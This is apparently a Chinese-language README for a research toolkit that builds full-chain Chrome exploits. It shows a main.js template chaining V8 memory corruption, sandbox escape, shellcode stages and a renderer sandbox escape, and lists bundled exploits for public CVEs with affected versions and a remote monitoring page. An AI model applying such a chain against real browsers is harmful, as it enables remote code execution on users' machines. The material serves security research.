一个用于将 Chromium 漏洞武器化为可靠、跨平台、全链路漏洞利用的工具包。
本项目提供一组强大的辅助脚本,但需要您自带漏洞。您负责实现最小化的漏洞利用原语,其余一切由工具包处理。
自定义漏洞利用链依赖于 main.js 脚本文件,它允许您有选择地将自己的漏洞与工具包的辅助脚本一起包含进来:
// Exploit settings
let loglevel = 5;
let run_in_worker = false;
// Exploit chain
async function main() {
// Common helpers
await include("kit/common/convert.js");
await include("kit/common/dom.js");
await include("kit/common/stability.js");
await include("kit/common/v8-utils.js");
await include("kit/common/versions.js");
await include("kit/common/wasm-module-builder.js");
// Symbols database for your exploit chain
await include("vulns/symbols.js");
// Early fingerprinting
await include("kit/fingerprint/d8.js");
await include("kit/fingerprint/useragent.js");
// Your initial V8 memory corruption
// This should craft addrOf() & fakeObj() primitives
await include("vulns/memcor/your-code.js");
// Bootstrap stage-2 primitives & gain memory read/write inside the V8 SBX
await include("kit/v8/cage.js");
// Your V8 sandbox escape
// This should craft arbRead() & arbWrite() primitives AND leak some pointers
await include("vulns/v8sbx/your-code.js");
// Utils to manipulate the renderer memory
await include("kit/v8/memory.js");
// Achieve code execution (automatically select the best method based on the leaked pointers)
await include("kit/v8/rwx/egghunt.js");
await include("kit/v8/rwx/isolate.js");
await include("kit/v8/rwx/partitionalloc.js");
await include("kit/v8/rwx/wasmrwx.js");
await include("kit/v8/rwx.js");
// Bootstrap stage-3 primitives & provide generic shellcodes
await include("kit/shellcodes/x64.js");
await include("kit/shellcodes/x64-win.js");
await include("kit/shellcodes/x64-linux.js");
// Precise fingerprinting
await include("kit/fingerprint/win.js");
await include("kit/fingerprint/linux.js");
// Enable MojoJS and other protected flags
await include("kit/renderer/mojo.js");
// Your sandbox escape
await include("vulns/sbx/your-code.js");
}
/*
Other customizable features are implemented here
(logging, clean exit handling, exploit reloading, scripts execution context...)
...
*/
请阅读文档,以全面了解可用功能。
index.html 中提供了一个测试网页。它会打印日志、处理崩溃,并允许主脚本从项目的子文件夹中包含文件。您可以使用 python3 server.py 在本地运行它,然后访问 http://localhost:8000。
monitor.html 网页提供了一个简单的界面,用于远程监控和测试漏洞利用。它显示远程主机、漏洞利用日志和错误统计信息。它还允许向远程主机发送命令,包括漏洞利用重新加载和压力测试模式。
在早期漏洞利用开发阶段,您还可以在 d8 中运行主漏洞利用脚本:d8.exe main.js。
一旦漏洞利用链准备就绪,工具可用于自动化各种任务:
build.py 用于将漏洞利用构建为单个脚本download.py 用于下载特定的 Google Chrome 版本symbols.py 用于自动解析 PDB提供了一些针对公开漏洞的漏洞利用,以展示工具包的功能:
| 漏洞 | 受影响版本(Chrome 稳定版) | 详情 |
|---|---|---|
| CVE-2024-11114 | 94 - 130(仅 Windows) | 可以使用 startDragging() Mojo IPC 接口控制鼠标,以运行下载的文件并逃逸沙箱 |
默认的 main.js 中提供了一个演示漏洞利用链。它依赖于以下漏洞:
该漏洞利用链开箱即用,适用于任何 Chrome 130 稳定版及最高 130.0.6723.160 的扩展版本。通过添加符号,可以轻松扩展到 M128、M129 和 M131(< 131.0.6778.264)。
还可以从监控网页远程测试漏洞利用:

本工具包严格用于安全研究。就其本身而言,它不提供任何用于利用 Chromium 项目中未公开漏洞的材料。将该工具包用于恶意目的的责任完全由您自行承担。
公开发布版本依据 GNU AGPLv3 条款授权。具体而言,这些条款不允许交易基于本工具包的私有漏洞利用。首次公开发布之前所做的提交可能未经授权,并受默认版权法保护。
本项目包含第三方许可组件:详见此处。
| 漏洞 | 受影响版本(Chrome 稳定版) | 详情 |
|---|
| CVE-2024-7971 | <= 127 | Liftoff 中 ParallelMove 期间发生 WASM 类型混淆 |
| CVE-2025-0291 | 128 - 131(< 131.0.6778.264,漏洞组件通过 Finch 分发) | 单块循环中 Turboshaft 的 WasmGCTypeAnalyzer 类型混淆 |
| CVE-2025-2135 | 133 - 134(< 134.0.6998.88) | TransitionElementsKindOrCheckMap 中对别名对象的类型混淆 |
| CVE-2025-5419 | <= 136(Finch kill-switch 自 133 起生效) | 由于对动态索引执行无效的 store-store 消除而导致的越界内存访问 |
| 漏洞 | 受影响版本(Chrome 稳定版) | 详情 |
|---|
| 352689356 | <= 131 | 非内联 TurboFan call_ref 中的 WASM 函数签名混淆 |
| 379140430 | <= 132 | WasmToJsWrapper tier-up 中的签名类型混淆,配合沙箱内 Tuple2 破坏 |
| 395659804 | <= 134 | 通过 OSR DeoptimizationData 混淆实现任意代码执行 |
| 421403261 | 134 - 137(< 137.0.7151.119,仅限 x64) | Liftoff 中的签名哈希 i32/i64 碰撞 |